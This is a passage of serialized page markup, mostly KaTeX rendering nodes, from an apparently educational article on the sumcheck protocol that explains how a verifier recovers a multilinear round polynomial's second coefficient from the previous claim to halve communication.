,[21223],[109496],{"type":28,"value":21226},{"type":23,"tag":134,"props":109498,"children":109500},{"className":109499},[1238],[109501],{"type":23,"tag":134,"props":109502,"children":109504},{"className":109503,"style":92642},[1243],[109505],{"type":23,"tag":134,"props":109506,"children":109507},{},[],{"type":28,"value":109509}," somewhere. But since the verifier picks a random ",{"type":23,"tag":92,"props":109511,"children":109513},{"className":109512},[1183,1184],[109514],{"type":23,"tag":134,"props":109515,"children":109517},{"className":109516},[1189],[109518],{"type":23,"tag":134,"props":109519,"children":109521},{"className":109520,"ariaHidden":1195},[1194],[109522],{"type":23,"tag":134,"props":109523,"children":109525},{"className":109524},[1200],[109526,109531],{"type":23,"tag":134,"props":109527,"children":109530},{"className":109528,"style":109529},[1205],"height:0.5806em;vertical-align:-0.15em;",[],{"type":23,"tag":134,"props":109532,"children":109534},{"className":109533},[1211],[109535,109540],{"type":23,"tag":134,"props":109536,"children":109538},{"className":109537,"style":92559},[1211,21066],[109539],{"type":28,"value":93378},{"type":23,"tag":134,"props":109541,"children":109543},{"className":109542},[1228],[109544],{"type":23,"tag":134,"props":109545,"children":109547},{"className":109546},[1233,21120],[109548,109578],{"type":23,"tag":134,"props":109549,"children":109551},{"className":109550},[1238],[109552,109573],{"type":23,"tag":134,"props":109553,"children":109555},{"className":109554,"style":93088},[1243],[109556],{"type":23,"tag":134,"props":109557,"children":109559},{"style":109558},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[109560,109564],{"type":23,"tag":134,"props":109561,"children":109563},{"className":109562,"style":1253},[1252],[],{"type":23,"tag":134,"props":109565,"children":109567},{"className":109566},[1258,1259,1260,1261],[109568],{"type":23,"tag":134,"props":109569,"children":109571},{"className":109570},[1211,21066,1261],[109572],{"type":28,"value":929},{"type":23,"tag":134,"props":109574,"children":109576},{"className":109575},[21223],[109577],{"type":28,"value":21226},{"type":23,"tag":134,"props":109579,"children":109581},{"className":109580},[1238],[109582],{"type":23,"tag":134,"props":109583,"children":109585},{"className":109584,"style":92642},[1243],[109586],{"type":23,"tag":134,"props":109587,"children":109588},{},[],{"type":28,"value":109590},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":23,"tag":18368,"props":109592,"children":109594},{"id":109593},"the-compression-trick",[109595],{"type":28,"value":109596},"The Compression Trick",{"type":23,"tag":24,"props":109598,"children":109599},{},[109600,109602,109752,109754,110034],{"type":28,"value":109601},"For degree-1 (multilinear) polynomials, ",{"type":23,"tag":92,"props":109603,"children":109605},{"className":109604},[1183,1184],[109606],{"type":23,"tag":134,"props":109607,"children":109609},{"className":109608},[1189],[109610],{"type":23,"tag":134,"props":109611,"children":109613},{"className":109612,"ariaHidden":1195},[1194],[109614,109707,109734],{"type":23,"tag":134,"props":109615,"children":109617},{"className":109616},[1200],[109618,109622,109679,109684,109689,109694,109698,109703],{"type":23,"tag":134,"props":109619,"children":109621},{"className":109620,"style":1313},[1205],[],{"type":23,"tag":134,"props":109623,"children":109625},{"className":109624},[1211],[109626,109631],{"type":23,"tag":134,"props":109627,"children":109629},{"className":109628,"style":93045},[1211,21066],[109630],{"type":28,"value":108810},{"type":23,"tag":134,"props":109632,"children":109634},{"className":109633},[1228],[109635],{"type":23,"tag":134,"props":109636,"children":109638},{"className":109637},[1233,21120],[109639,109668],{"type":23,"tag":134,"props":109640,"children":109642},{"className":109641},[1238],[109643,109663],{"type":23,"tag":134,"props":109644,"children":109646},{"className":109645,"style":93088},[1243],[109647],{"type":23,"tag":134,"props":109648,"children":109649},{"style":93092},[109650,109654],{"type":23,"tag":134,"props":109651,"children":109653},{"className":109652,"style":1253},[1252],[],{"type":23,"tag":134,"props":109655,"children":109657},{"className":109656},[1258,1259,1260,1261],[109658],{"type":23,"tag":134,"props":109659,"children":109661},{"className":109660},[1211,21066,1261],[109662],{"type":28,"value":929},{"type":23,"tag":134,"props":109664,"children":109666},{"className":109665},[21223],[109667],{"type":28,"value":21226},{"type":23,"tag":134,"props":109669,"children":109671},{"className":109670},[1238],[109672],{"type":23,"tag":134,"props":109673,"children":109675},{"className":109674,"style":92642},[1243],[109676],{"type":23,"tag":134,"props":109677,"children":109678},{},[],{"type":23,"tag":134,"props":109680,"children":109682},{"className":109681},[21195],[109683],{"type":28,"value":272},{"type":23,"tag":134,"props":109685,"children":109687},{"className":109686,"style":94579},[1211,21066],[109688],{"type":28,"value":5590},{"type":23,"tag":134,"props":109690,"children":109692},{"className":109691},[21217],[109693],{"type":28,"value":296},{"type":23,"tag":134,"props":109695,"children":109697},{"className":109696,"style":1390},[1292],[],{"type":23,"tag":134,"props":109699,"children":109701},{"className":109700},[1395],[109702],{"type":28,"value":257},{"type":23,"tag":134,"props":109704,"children":109706},{"className":109705,"style":1390},[1292],[],{"type":23,"tag":134,"props":109708,"children":109710},{"className":109709},[1200],[109711,109716,109721,109725,109730],{"type":23,"tag":134,"props":109712,"children":109715},{"className":109713,"style":109714},[1205],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":23,"tag":134,"props":109717,"children":109719},{"className":109718},[1211,21066],[109720],{"type":28,"value":31},{"type":23,"tag":134,"props":109722,"children":109724},{"className":109723,"style":1293},[1292],[],{"type":23,"tag":134,"props":109726,"children":109728},{"className":109727},[1298],[109729],{"type":28,"value":1586},{"type":23,"tag":134,"props":109731,"children":109733},{"className":109732,"style":1293},[1292],[],{"type":23,"tag":134,"props":109735,"children":109737},{"className":109736},[1200],[109738,109742,109747],{"type":23,"tag":134,"props":109739,"children":109741},{"className":109740,"style":92474},[1205],[],{"type":23,"tag":134,"props":109743,"children":109745},{"className":109744},[1211,21066],[109746],{"type":28,"value":393},{"type":23,"tag":134,"props":109748,"children":109750},{"className":109749,"style":94579},[1211,21066],[109751],{"type":28,"value":5590},{"type":28,"value":109753}," has only two coefficients. Since the verifier knows ",{"type":23,"tag":92,"props":109755,"children":109757},{"className":109756},[1183,1184],[109758],{"type":23,"tag":134,"props":109759,"children":109761},{"className":109760},[1189],[109762],{"type":23,"tag":134,"props":109763,"children":109765},{"className":109764,"ariaHidden":1195},[1194],[109766,109859,109952],{"type":23,"tag":134,"props":109767,"children":109769},{"className":109768},[1200],[109770,109774,109831,109836,109841,109846,109850,109855],{"type":23,"tag":134,"props":109771,"children":109773},{"className":109772,"style":1313},[1205],[],{"type":23,"tag":134,"props":109775,"children":109777},{"className":109776},[1211],[109778,109783],{"type":23,"tag":134,"props":109779,"children":109781},{"className":109780,"style":93045},[1211,21066],[109782],{"type":28,"value":108810},{"type":23,"tag":134,"props":109784,"children":109786},{"className":109785},[1228],[109787],{"type":23,"tag":134,"props":109788,"children":109790},{"className":109789},[1233,21120],[109791,109820],{"type":23,"tag":134,"props":109792,"children":109794},{"className":109793},[1238],[109795,109815],{"type":23,"tag":134,"props":109796,"children":109798},{"className":109797,"style":93088},[1243],[109799],{"type":23,"tag":134,"props":109800,"children":109801},{"style":93092},[109802,109806],{"type":23,"tag":134,"props":109803,"children":109805},{"className":109804,"style":1253},[1252],[],{"type":23,"tag":134,"props":109807,"children":109809},{"className":109808},[1258,1259,1260,1261],[109810],{"type":23,"tag":134,"props":109811,"children":109813},{"className":109812},[1211,21066,1261],[109814],{"type":28,"value":929},{"type":23,"tag":134,"props":109816,"children":109818},{"className":109817},[21223],[109819],{"type":28,"value":21226},{"type":23,"tag":134,"props":109821,"children":109823},{"className":109822},[1238],[109824],{"type":23,"tag":134,"props":109825,"children":109827},{"className":109826,"style":92642},[1243],[109828],{"type":23,"tag":134,"props":109829,"children":109830},{},[],{"type":23,"tag":134,"props":109832,"children":109834},{"className":109833},[21195],[109835],{"type":28,"value":272},{"type":23,"tag":134,"props":109837,"children":109839},{"className":109838},[1211],[109840],{"type":28,"value":1224},{"type":23,"tag":134,"props":109842,"children":109844},{"className":109843},[21217],[109845],{"type":28,"value":296},{"type":23,"tag":134,"props":109847,"children":109849},{"className":109848,"style":1293},[1292],[],{"type":23,"tag":134,"props":109851,"children":109853},{"className":109852},[1298],[109854],{"type":28,"value":1586},{"type":23,"tag":134,"props":109856,"children":109858},{"className":109857,"style":1293},[1292],[],{"type":23,"tag":134,"props":109860,"children":109862},{"className":109861},[1200],[109863,109867,109924,109929,109934,109939,109943,109948],{"type":23,"tag":134,"props":109864,"children":109866},{"className":109865,"style":1313},[1205],[],{"type":23,"tag":134,"props":109868,"children":109870},{"className":109869},[1211],[109871,109876],{"type":23,"tag":134,"props":109872,"children":109874},{"className":109873,"style":93045},[1211,21066],[109875],{"type":28,"value":108810},{"type":23,"tag":134,"props":109877,"children":109879},{"className":109878},[1228],[109880],{"type":23,"tag":134,"props":109881,"children":109883},{"className":109882},[1233,21120],[109884,109913],{"type":23,"tag":134,"props":109885,"children":109887},{"className":109886},[1238],[109888,109908],{"type":23,"tag":134,"props":109889,"children":109891},{"className":109890,"style":93088},[1243],[109892],{"type":23,"tag":134,"props":109893,"children":109894},{"style":93092},[109895,109899],{"type":23,"tag":134,"props":109896,"children":109898},{"className":109897,"style":1253},[1252],[],{"type":23,"tag":134,"props":109900,"children":109902},{"className":109901},[1258,1259,1260,1261],[109903],{"type":23,"tag":134,"props":109904,"children":109906},{"className":109905},[1211,21066,1261],[109907],{"type":28,"value":929},{"type":23,"tag":134,"props":109909,"children":109911},{"className":109910},[21223],[109912],{"type":28,"value":21226},{"type":23,"tag":134,"props":109914,"children":109916},{"className":109915},[1238],[109917],{"type":23,"tag":134,"props":109918,"children":109920},{"className":109919,"style":92642},[1243],[109921],{"type":23,"tag":134,"props":109922,"children":109923},{},[],{"type":23,"tag":134,"props":109925,"children":109927},{"className":109926},[21195],[109928],{"type":28,"value":272},{"type":23,"tag":134,"props":109930,"children":109932},{"className":109931},[1211],[109933],{"type":28,"value":1214},{"type":23,"tag":134,"props":109935,"children":109937},{"className":109936},[21217],[109938],{"type":28,"value":296},{"type":23,"tag":134,"props":109940,"children":109942},{"className":109941,"style":1390},[1292],[],{"type":23,"tag":134,"props":109944,"children":109946},{"className":109945},[1395],[109947],{"type":28,"value":257},{"type":23,"tag":134,"props":109949,"children":109951},{"className":109950,"style":1390},[1292],[],{"type":23,"tag":134,"props":109953,"children":109955},{"className":109954},[1200],[109956,109961],{"type":23,"tag":134,"props":109957,"children":109960},{"className":109958,"style":109959},[1205],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":23,"tag":134,"props":109962,"children":109964},{"className":109963},[1211],[109965,109970],{"type":23,"tag":134,"props":109966,"children":109968},{"className":109967,"style":92793},[1211,21066],[109969],{"type":28,"value":92796},{"type":23,"tag":134,"props":109971,"children":109973},{"className":109972},[1228],[109974],{"type":23,"tag":134,"props":109975,"children":109977},{"className":109976},[1233,21120],[109978,110022],{"type":23,"tag":134,"props":109979,"children":109981},{"className":109980},[1238],[109982,110017],{"type":23,"tag":134,"props":109983,"children":109985},{"className":109984,"style":93088},[1243],[109986],{"type":23,"tag":134,"props":109987,"children":109989},{"style":109988},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[109990,109994],{"type":23,"tag":134,"props":109991,"children":109993},{"className":109992,"style":1253},[1252],[],{"type":23,"tag":134,"props":109995,"children":109997},{"className":109996},[1258,1259,1260,1261],[109998],{"type":23,"tag":134,"props":109999,"children":110001},{"className":110000},[1211,1261],[110002,110007,110012],{"type":23,"tag":134,"props":110003,"children":110005},{"className":110004},[1211,21066,1261],[110006],{"type":28,"value":929},{"type":23,"tag":134,"props":110008,"children":110010},{"className":110009},[1298,1261],[110011],{"type":28,"value":1272},{"type":23,"tag":134,"props":110013,"children":110015},{"className":110014},[1211,1261],[110016],{"type":28,"value":1214},{"type":23,"tag":134,"props":110018,"children":110020},{"className":110019},[21223],[110021],{"type":28,"value":21226},{"type":23,"tag":134,"props":110023,"children":110025},{"className":110024},[1238],[110026],{"type":23,"tag":134,"props":110027,"children":110030},{"className":110028,"style":110029},[1243],"height:0.2083em;",[110031],{"type":23,"tag":134,"props":110032,"children":110033},{},[],{"type":28,"value":110035}," (the previous claim), we have:",{"type":23,"tag":24,"props":110037,"children":110038},{},[110039],{"type":23,"tag":92,"props":110040,"children":110042},{"className":110041},[1183,1184],[110043],{"type":23,"tag":134,"props":110044,"children":110046},{"className":110045},[1189],[110047],{"type":23,"tag":134,"props":110048,"children":110050},{"className":110049,"ariaHidden":1195},[1194],[110051,110077,110108,110139,110240,110266,110358],{"type":23,"tag":134,"props":110052,"children":110054},{"className":110053},[1200],[110055,110059,110064,110068,110073],{"type":23,"tag":134,"props":110056,"children":110058},{"className":110057,"style":109714},[1205],[],{"type":23,"tag":134,"props":110060,"children":110062},{"className":110061},[1211,21066],[110063],{"type":28,"value":31},{"type":23,"tag":134,"props":110065,"children":110067},{"className":110066,"style":1293},[1292],[],{"type":23,"tag":134,"props":110069,"children":110071},{"className":110070},[1298],[110072],{"type":28,"value":1586},{"type":23,"tag":134,"props":110074,"children":110076},{"className":110075,"style":1293},[1292],[],{"type":23,"tag":134,"props":110078,"children":110080},{"className":110079},[1200],[110081,110085,110090,110095,110099,110104],{"type":23,"tag":134,"props":110082,"children":110084},{"className":110083,"style":1313},[1205],[],{"type":23,"tag":134,"props":110086,"children":110088},{"className":110087},[21195],[110089],{"type":28,"value":272},{"type":23,"tag":134,"props":110091,"children":110093},{"className":110092},[1211,21066],[110094],{"type":28,"value":31},{"type":23,"tag":134,"props":110096,"children":110098},{"className":110097,"style":1293},[1292],[],{"type":23,"tag":134,"props":110100,"children":110102},{"className":110101},[1298],[110103],{"type":28,"value":1586},{"type":23,"tag":134,"props":110105,"children":110107},{"className":110106,"style":1293},[1292],[],{"type":23,"tag":134,"props":110109,"children":110111},{"className":110110},[1200],[110112,110116,110121,110126,110130,110135],{"type":23,"tag":134,"props":110113,"children":110115},{"className":110114,"style":1313},[1205],[],{"type":23,"tag":134,"props":110117,"children":110119},{"className":110118},[1211,21066],[110120],{"type":28,"value":393},{"type":23,"tag":134,"props":110122,"children":110124},{"className":110123},[21217],[110125],{"type":28,"value":296},{"type":23,"tag":134,"props":110127,"children":110129},{"className":110128,"style":1390},[1292],[],{"type":23,"tag":134,"props":110131,"children":110133},{"className":110132},[1395],[110134],{"type":28,"value":257},{"type":23,"tag":134,"props":110136,"children":110138},{"className":110137,"style":1390},[1292],[],{"type":23,"tag":134,"props":110140,"children":110142},{"className":110141},[1200],[110143,110147,110218,110222,110226,110232,110236],{"type":23,"tag":134,"props":110144,"children":110146},{"className":110145,"style":109959},[1205],[],{"type":23,"tag":134,"props":110148,"children":110150},{"className":110149},[1211],[110151,110156],{"type":23,"tag":134,"props":110152,"children":110154},{"className":110153,"style":92793},[1211,21066],[110155],{"type":28,"value":92796},{"type":23,"tag":134,"props":110157,"children":110159},{"className":110158},[1228],[110160],{"type":23,"tag":134,"props":110161,"children":110163},{"className":110162},[1233,21120],[110164,110207],{"type":23,"tag":134,"props":110165,"children":110167},{"className":110166},[1238],[110168,110202],{"type":23,"tag":134,"props":110169,"children":110171},{"className":110170,"style":93088},[1243],[110172],{"type":23,"tag":134,"props":110173,"children":110174},{"style":109988},[110175,110179],{"type":23,"tag":134,"props":110176,"children":110178},{"className":110177,"style":1253},[1252],[],{"type":23,"tag":134,"props":110180,"children":110182},{"className":110181},[1258,1259,1260,1261],[110183],{"type":23,"tag":134,"props":110184,"children":110186},{"className":110185},[1211,1261],[110187,110192,110197],{"type":23,"tag":134,"props":110188,"children":110190},{"className":110189},[1211,21066,1261],[110191],{"type":28,"value":929},{"type":23,"tag":134,"props":110193,"children":110195},{"className":110194},[1298,1261],[110196],{"type":28,"value":1272},{"type":23,"tag":134,"props":110198,"children":110200},{"className":110199},[1211,1261],[110201],{"type":28,"value":1214},{"type":23,"tag":134,"props":110203,"children":110205},{"className":110204},[21223],[110206],{"type":28,"value":21226},{"type":23,"tag":134,"props":110208,"children":110210},{"className":110209},[1238],[110211],{"type":23,"tag":134,"props":110212,"children":110214},{"className":110213,"style":110029},[1243],[110215],{"type":23,"tag":134,"props":110216,"children":110217},{},[],{"type":23,"tag":134,"props":110219,"children":110221},{"className":110220,"style":1390},[1292],[],{"type":23,"tag":134,"props":110223,"children":110225},{"className":110224,"style":1390},[1292],[],{"type":23,"tag":134,"props":110227,"children":110229},{"className":110228},[1395],[110230],{"type":28,"value":110231},"⟹",{"type":23,"tag":134,"props":110233,"children":110235},{"className":110234,"style":1390},[1292],[],{"type":23,"tag":134,"props":110237,"children":110239},{"className":110238,"style":1390},[1292],[],{"type":23,"tag":134,"props":110241,"children":110243},{"className":110242},[1200],[110244,110248,110253,110257,110262],{"type":23,"tag":134,"props":110245,"children":110247},{"className":110246,"style":92474},[1205],[],{"type":23,"tag":134,"props":110249,"children":110251},{"className":110250},[1211,21066],[110252],{"type":28,"value":393},{"type":23,"tag":134,"props":110254,"children":110256},{"className":110255,"style":1390},[1292],[],{"type":23,"tag":134,"props":110258,"children":110260},{"className":110259},[1395],[110261],{"type":28,"value":257},{"type":23,"tag":134,"props":110263,"children":110265},{"className":110264,"style":1390},[1292],[],{"type":23,"tag":134,"props":110267,"children":110269},{"className":110268},[1200],[110270,110274,110345,110349,110354],{"type":23,"tag":134,"props":110271,"children":110273},{"className":110272,"style":109959},[1205],[],{"type":23,"tag":134,"props":110275,"children":110277},{"className":110276},[1211],[110278,110283],{"type":23,"tag":134,"props":110279,"children":110281},{"className":110280,"style":92793},[1211,21066],[110282],{"type":28,"value":92796},{"type":23,"tag":134,"props":110284,"children":110286},{"className":110285},[1228],[110287],{"type":23,"tag":134,"props":110288,"children":110290},{"className":110289},[1233,21120],[110291,110334],{"type":23,"tag":134,"props":110292,"children":110294},{"className":110293},[1238],[110295,110329],{"type":23,"tag":134,"props":110296,"children":110298},{"className":110297,"style":93088},[1243],[110299],{"type":23,"tag":134,"props":110300,"children":110301},{"style":109988},[110302,110306],{"type":23,"tag":134,"props":110303,"children":110305},{"className":110304,"style":1253},[1252],[],{"type":23,"tag":134,"props":110307,"children":110309},{"className":110308},[1258,1259,1260,1261],[110310],{"type":23,"tag":134,"props":110311,"children":110313},{"className":110312},[1211,1261],[110314,110319,110324],{"type":23,"tag":134,"props":110315,"children":110317},{"className":110316},[1211,21066,1261],[110318],{"type":28,"value":929},{"type":23,"tag":134,"props":110320,"children":110322},{"className":110321},[1298,1261],[110323],{"type":28,"value":1272},{"type":23,"tag":134,"props":110325,"children":110327},{"className":110326},[1211,1261],[110328],{"type":28,"value":1214},{"type":23,"tag":134,"props":110330,"children":110332},{"className":110331},[21223],[110333],{"type":28,"value":21226},{"type":23,"tag":134,"props":110335,"children":110337},{"className":110336},[1238],[110338],{"type":23,"tag":134,"props":110339,"children":110341},{"className":110340,"style":110029},[1243],[110342],{"type":23,"tag":134,"props":110343,"children":110344},{},[],{"type":23,"tag":134,"props":110346,"children":110348},{"className":110347,"style":1293},[1292],[],{"type":23,"tag":134,"props":110350,"children":110352},{"className":110351},[1298],[110353],{"type":28,"value":1272},{"type":23,"tag":134,"props":110355,"children":110357},{"className":110356,"style":1293},[1292],[],{"type":23,"tag":134,"props":110359,"children":110361},{"className":110360},[1200],[110362,110366,110371],{"type":23,"tag":134,"props":110363,"children":110365},{"className":110364,"style":93590},[1205],[],{"type":23,"tag":134,"props":110367,"children":110369},{"className":110368},[1211],[110370],{"type":28,"value":291},{"type":23,"tag":134,"props":110372,"children":110374},{"className":110373},[1211,21066],[110375],{"type":28,"value":31},{"type":23,"tag":24,"props":110377,"children":110378},{},[110379,110381,110500,110502,110527],{"type":28,"value":110380},"So the prover only sends ",{"type":23,"tag":92,"props":110382,"children":110384},{"className":110383},[1183,1184],[110385],{"type":23,"tag":134,"props":110386,"children":110388},{"className":110387},[1189],[110389],{"type":23,"tag":134,"props":110390,"children":110392},{"className":110391,"ariaHidden":1195},[1194],[110393,110420],{"type":23,"tag":134,"props":110394,"children":110396},{"className":110395},[1200],[110397,110402,110407,110411,110416],{"type":23,"tag":134,"props":110398,"children":110401},{"className":110399,"style":110400},[1205],"height:0.4306em;",[],{"type":23,"tag":134,"props":110403,"children":110405},{"className":110404},[1211,21066],[110406],{"type":28,"value":31},{"type":23,"tag":134,"props":110408,"children":110410},{"className":110409,"style":1390},[1292],[],{"type":23,"tag":134,"props":110412,"children":110414},{"className":110413},[1395],[110415],{"type":28,"value":257},{"type":23,"tag":134,"props":110417,"children":110419},{"className":110418,"style":1390},[1292],[],{"type":23,"tag":134,"props":110421,"children":110423},{"className":110422},[1200],[110424,110428,110485,110490,110495],{"type":23,"tag":134,"props":110425,"children":110427},{"className":110426,"style":1313},[1205],[],{"type":23,"tag":134,"props":110429,"children":110431},{"className":110430},[1211],[110432,110437],{"type":23,"tag":134,"props":110433,"children":110435},{"className":110434,"style":93045},[1211,21066],[110436],{"type":28,"value":108810},{"type":23,"tag":134,"props":110438,"children":110440},{"className":110439},[1228],[110441],{"type":23,"tag":134,"props":110442,"children":110444},{"className":110443},[1233,21120],[110445,110474],{"type":23,"tag":134,"props":110446,"children":110448},{"className":110447},[1238],[110449,110469],{"type":23,"tag":134,"props":110450,"children":110452},{"className":110451,"style":93088},[1243],[110453],{"type":23,"tag":134,"props":110454,"children":110455},{"style":93092},[110456,110460],{"type":23,"tag":134,"props":110457,"children":110459},{"className":110458,"style":1253},[1252],[],{"type":23,"tag":134,"props":110461,"children":110463},{"className":110462},[1258,1259,1260,1261],[110464],{"type":23,"tag":134,"props":110465,"children":110467},{"className":110466},[1211,21066,1261],[110468],{"type":28,"value":929},{"type":23,"tag":134,"props":110470,"children":110472},{"className":110471},[21223],[110473],{"type":28,"value":21226},{"type":23,"tag":134,"props":110475,"children":110477},{"className":110476},[1238],[110478],{"type":23,"tag":134,"props":110479,"children":110481},{"className":110480,"style":92642},[1243],[110482],{"type":23,"tag":134,"props":110483,"children":110484},{},[],{"type":23,"tag":134,"props":110486,"children":110488},{"className":110487},[21195],[110489],{"type":28,"value":272},{"type":23,"tag":134,"props":110491,"children":110493},{"className":110492},[1211],[110494],{"type":28,"value":1224},{"type":23,"tag":134,"props":110496,"children":110498},{"className":110497},[21217],[110499],{"type":28,"value":296},{"type":28,"value":110501},", and the verifier recovers ",{"type":23,"tag":92,"props":110503,"children":110505},{"className":110504},[1183,1184],[110506],{"type":23,"tag":134,"props":110507,"children":110509},{"className":110508},[1189],[110510],{"type":23,"tag":134,"props":110511,"children":110513},{"className":110512,"ariaHidden":1195},[1194],[110514],{"type":23,"tag":134,"props":110515,"children":110517},{"className":110516},[1200],[110518,110522],{"type":23,"tag":134,"props":110519,"children":110521},{"className":110520,"style":92474},[1205],[],{"type":23,"tag":134,"props":110523,"children":110525},{"className":110524},[1211,21066],[110526],{"type":28,"value":393},{"type":28,"value":110528},". This saves 50% on communication costs.",{"type":23,"tag":24,"props":110530,"children":110531},{},[110532],{"type":28,"value":110533},"The next claim in the chain is",{"type":23,"tag":24,"props":110535,"children":110536},{},[110537],{"type":23,"tag":92,"props":110538,"children":110540},{"className":110539},[1183,1184],[110541],{"type":23,"tag":134,"props":110542,"children":110544},{"className":110543},[1189],[110545],{"type":23,"tag":134,"props":110546,"children":110548},{"className":110547,"ariaHidden":1195},[1194],[110549,110628,110773,110799,110826,110904,110930,111027,111063,111141,111177,111265,111357],{"type":23,"tag":134,"props":110550,"children":110552},{"className":110551},[1200],[110553,110558,110615,110619,110624],{"type":23,"tag":134,"props":110554,"children":110557},{"className":110555,"style":110556},[1205],"height:0.8333em;vertical-align:-0.15em;",[],{"type":23,"tag":134,"props":110559,"children":110561},{"className":110560},[1211],[110562,110567],{"type":23,"tag":134,"props":110563,"children":110565},{"className":110564,"style":92793},[1211,21066],[110566],{"type":28,"value":92796},{"type":23,"tag":134,"props":110568,"children":110570},{"className":110569},[1228],[110571],{"type":23,"tag":134,"props":110572,"children":110574},{"className":110573},[1233,21120],[110575,110604],{"type":23,"tag":134,"props":110576,"children":110578},{"className":110577},[1238],[110579,110599],{"type":23,"tag":134,"props":110580,"children":110582},{"className":110581,"style":93088},[1243],[110583],{"type":23,"tag":134,"props":110584,"children":110585},{"style":109988},[110586,110590],{"type":23,"tag":134,"props":110587,"children":110589},{"className":110588,"style":1253},[1252],[],{"type":23,"tag":134,"props":110591,"children":110593},{"className":110592},[1258,1259,1260,1261],[110594],{"type":23,"tag":134,"props":110595,"children":110597},{"className":110596},[1211,21066,1261],[110598],{"type":28,"value":929},{"type":23,"tag":134,"props":110600,"children":110602},{"className":110601},[21223],[110603],{"type":28,"value":21226},{"type":23,"tag":134,"props":110605,"children":110607},{"className":110606},[1238],[110608],{"type":23,"tag":134,"props":110609,"children":110611},{"className":110610,"style":92642},[1243],[110612],{"type":23,"tag":134,"props":110613,"children":110614},{},[],{"type":23,"tag":134,"props":110616,"children":110618},{"className":110617,"style":1390},[1292],[],{"type":23,"tag":134,"props":110620,"children":110622},{"className":110621},[1395],[110623],{"type":28,"value":257},{"type":23,"tag":134,"props":110625,"children":110627},{"className":110626,"style":1390},[1292],[],{"type":23,"tag":134,"props":110629,"children":110631},{"className":110630},[1200],[110632,110636,110693,110698,110755,110760,110764,110769],{"type":23,"tag":134,"props":110633,"children":110635},{"className":110634,"style":1313},[1205],[],{"type":23,"tag":134,"props":110637,"children":110639},{"className":110638},[1211],[110640,110645],{"type":23,"tag":134,"props":110641,"children":110643},{"className":110642,"style":93045},[1211,21066],[110644],{"type":28,"value":108810},{"type":23,"tag":134,"props":110646,"children":110648},{"className":110647},[1228],[110649],{"type":23,"tag":134,"props":110650,"children":110652},{"className":110651},[1233,21120],[110653,110682],{"type":23,"tag":134,"props":110654,"children":110656},{"className":110655},[1238],[110657,110677],{"type":23,"tag":134,"props":110658,"children":110660},{"className":110659,"style":93088},[1243],[110661],{"type":23,"tag":134,"props":110662,"children":110663},{"style":93092},[110664,110668],{"type":23,"tag":134,"props":110665,"children":110667},{"className":110666,"style":1253},[1252],[],{"type":23,"tag":134,"props":110669,"children":110671},{"className":110670},[1258,1259,1260,1261],[110672],{"type":23,"tag":134,"props":110673,"children":110675},{"className":110674},[1211,21066,1261],[110676],{"type":28,"value":929},{"type":23,"tag":134,"props":110678,"children":110680},{"className":110679},[21223],[110681],{"type":28,"value":21226},{"type":23,"tag":134,"props":110683,"children":110685},{"className":110684},[1238],[110686],{"type":23,"tag":134,"props":110687,"children":110689},{"className":110688,"style":92642},[1243],[110690],{"type":23,"tag":134,"props":110691,"children":110692},{},[],{"type":23,"tag":134,"props":110694,"children":110696},{"className":110695},[21195],[110697],{"type":28,"value":272},{"type":23,"tag":134,"props":110699,"children":110701},{"className":110700},[1211],[110702,110707],{"type":23,"tag":134,"props":110703,"children":110705},{"className":110704,"style":92559},[1211,21066],[110706],{"type":28,"value":93378},{"type":23,"tag":134,"props":110708,"children":110710},{"className":110709},[1228],[110711],{"type":23,"tag":134,"props":110712,"children":110714},{"className":110713},[1233,21120],[110715,110744],{"type":23,"tag":134,"props":110716,"children":110718},{"className":110717},[1238],[110719,110739],{"type":23,"tag":134,"props":110720,"children":110722},{"className":110721,"style":93088},[1243],[110723],{"type":23,"tag":134,"props":110724,"children":110725},{"style":109558},[110726,110730],{"type":23,"tag":134,"props":110727,"children":110729},{"className":110728,"style":1253},[1252],[],{"type":23,"tag":134,"props":110731,"children":110733},{"className":110732},[1258,1259,1260,1261],[110734],{"type":23,"tag":134,"props":110735,"children":110737},{"className":110736},[1211,21066,1261],[110738],{"type":28,"value":929},{"type":23,"tag":134,"props":110740,"children":110742},{"className":110741},[21223],[110743],{"type":28,"value":21226},{"type":23,"tag":134,"props":110745,"children":110747},{"className":110746},[1238],[110748],{"type":23,"tag":134,"props":110749,"children":110751},{"className":110750,"style":92642},[1243],[110752],{"type":23,"tag":134,"props":110753,"children":110754},{},[],{"type":23,"tag":134,"props":110756,"children":110758},{"className":110757},[21217],[110759],{"type":28,"value":296},{"type":23,"tag":134,"props":110761,"children":110763},{"className":110762,"style":1390},[1292],[],{"type":23,"tag":134,"props":110765,"children":110767},{"className":110766},[1395],[110768],{"type":28,"value":257},{"type":23,"tag":134,"props":110770,"children":110772},{"className":110771,"style":1390},[1292],[],{"type":23,"tag":134,"props":110774,"children":110776},{"className":110775},[1200],[110777,110781,110786,110790,110795],{"type":23,"tag":134,"props":110778,"children":110780},{"className":110779,"style":109714},[1205],[],{"type":23,"tag":134,"props":110782,"children":110784},{"className":110783},[1211,21066],[110785],{"type":28,"value":31},{"type":23,"tag":134,"props":110787,"children":110789},{"className":110788,"style":1293},[1292],[],{"type":23,"tag":134,"props":110791,"children":110793},{"className":110792},[1298],[110794],{"type":28,"value":1586},{"type":23,"tag":134,"props":110796,"children":110798},{"className":110797,"style":1293},[1292],[],{"type":23,"tag":134,"props":110800,"children":110802},{"className":110801},[1200],[110803,110807,110812,110816,110822],{"type":23,"tag":134,"props":110804,"children":110806},{"className":110805,"style":92474},[1205],[],{"type":23,"tag":134,"props":110808,"children":110810},{"className":110809},[1211,21066],[110811],{"type":28,"value":393},{"type":23,"tag":134,"props":110813,"children":110815},{"className":110814,"style":1293},[1292],[],{"type":23,"tag":134,"props":110817,"children":110819},{"className":110818},[1298],[110820],{"type":28,"value":110821},"⋅",{"type":23,"tag":134,"props":110823,"children":110825},{"className":110824,"style":1293},[1292],[],{"type":23,"tag":134,"props":110827,"children":110829},{"className":110828},[1200],[110830,110834,110891,110895,110900],{"type":23,"tag":134,"props":110831,"children":110833},{"className":110832,"style":109529},[1205],[],{"type":23,"tag":134,"props":110835,"children":110837},{"className":110836},[1211],[110838,110843],{"type":23,"tag":134,"props":110839,"children":110841},{"className":110840,"style":92559},[1211,21066],[110842],{"type":28,"value":93378},{"type":23,"tag":134,"props":110844,"children":110846},{"className":110845},[1228],[110847],{"type":23,"tag":134,"props":110848,"children":110850},{"className":110849},[1233,21120],[110851,11